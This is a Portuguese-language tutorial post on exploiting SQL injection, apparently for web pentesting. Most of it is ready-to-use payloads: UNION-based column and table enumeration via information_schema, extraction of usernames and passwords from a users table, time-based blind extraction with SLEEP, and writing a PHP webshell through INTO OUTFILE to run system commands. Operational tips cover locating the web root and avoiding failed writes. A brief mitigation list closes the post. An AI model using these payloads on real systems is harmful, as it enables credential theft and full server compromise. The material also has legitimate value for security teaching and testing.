Guia Prático de SQL Injection: De UNION-Based a RCE via WebShell
O SQL Injection (SQLi) continua sendo uma das falhas com maior poder de impacto em aplicações web. Quando dados fornecidos pelo usuário são concatenados diretamente na consulta SQL sem a devida sanitização ou uso de Prepared Statements, o atacante obtém controle direto sobre a instrução interpretada pelo SGBD. Neste post, dissecamos desde o reconhecimento de colunas até a escalada crítica para Remote Code Execution (RCE).
§1. Metodologia de Exploração UNION-Based
O operador UNION combina a query original da aplicação com uma consulta arbitrária injetada. Para que funcione com sucesso, a query injetada DEVE ter exatamente o mesmo número de colunas e tipos de dados compatíveis com a consulta original.
- Detecção inicial: Forçar erros de sintaxe com aspas simples ('), duplas (") ou caracteres de escape.
- Descoberta do número de colunas: Iterar com ' ORDER BY 1--, ' ORDER BY 2-- até estourar erro de coluna inexistente.
- Mapeamento de colunas refletidas: ' UNION SELECT 1, 2, 3, 4-- para identificar onde cada valor aparece na página.
- Coleta de metadados: Injetar @@version, database() e user() nos campos refletidos.
-- Descobrir tabelas do banco atual via information_schema:
' UNION SELECT 1, table_name, 3 FROM information_schema.tables WHERE table_schema=database() -- -
-- Descobrir colunas da tabela de usuários:
' UNION SELECT null, column_name, null FROM information_schema.columns WHERE table_name = 'users' -- -
-- Extração de credenciais:
' UNION SELECT 1, concat(username, 0x3a, password), 3 FROM users -- -§2. Extração Cega: Time-Based Blind SQLi
Em cenários onde a aplicação não reflete erros SQL e nem exibe dados diretamente na interface, a vulnerabilidade pode ser explorada medindo o tempo de resposta do servidor. Através de perguntas condicionais verdadeiro/falso com pausas temporais, extraímos dados caractere por caractere.
- SUBSTRING(string, posição, tamanho): Extrai um caractere específico da resposta.
- IF(condição, true, false): Avalia a expressão lógica.
- SLEEP(segundos): Força o SGBD a pausar caso a condição seja verdadeira.
-- Teste de hipótese: O primeiro caractere do nome do banco é 'a'?
' AND IF(SUBSTRING(database(), 1, 1) = 'a', SLEEP(5), 0) -- -
-- Exemplo com benchmark no PostgreSQL / SQLite / MySQL:
1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1A exploração manual de Time-Based Blind é extremamente lenta em redes instáveis. Utilize ferramentas como sqlmap ou scripts Python assíncronos customizados calculando o desvio padrão de latência.
§3. Escalada para RCE via INTO OUTFILE
Se a conta do banco possuir privilégios adequados (como o privilégio FILE no MySQL) e o parâmetro secure_file_priv permitir escrita no diretório do servidor web (ex: /var/www/html), podemos gravar uma WebShell diretamente no sistema de arquivos.
-- Gravando uma WebShell PHP mínima:
' UNION SELECT null, '<?php system($_GET["cmd"]); ?>', null INTO OUTFILE '/var/www/html/shell.php' -- -
-- Executando comandos via navegador:
http://alvo.com/shell.php?cmd=idO comando INTO OUTFILE falha silenciosamente se o arquivo de destino já existir. Sempre gere nomes randômicos e confirme antes o caminho absoluto da raiz web através de erros de LFI, phpinfo() ou arquivos de configuração padrão.
Prevenção e Mitigação Recomendada
- ✓Utilizar exclusivamente Consultas Parametrizadas (Prepared Statements / PDO) em todas as camadas de persistência.
- ✓Garantir o princípio do menor privilégio para o usuário de banco de dados da aplicação (remover permissões FILE, SUPER, GRANT).
- ✓Configurar secure_file_priv = NULL no my.cnf para bloquear despejo e leitura arbitrária de arquivos pelo SGBD.
- ✓Implementar Web Application Firewall (WAF) como camada complementar de detecção de assinaturas maliciosas.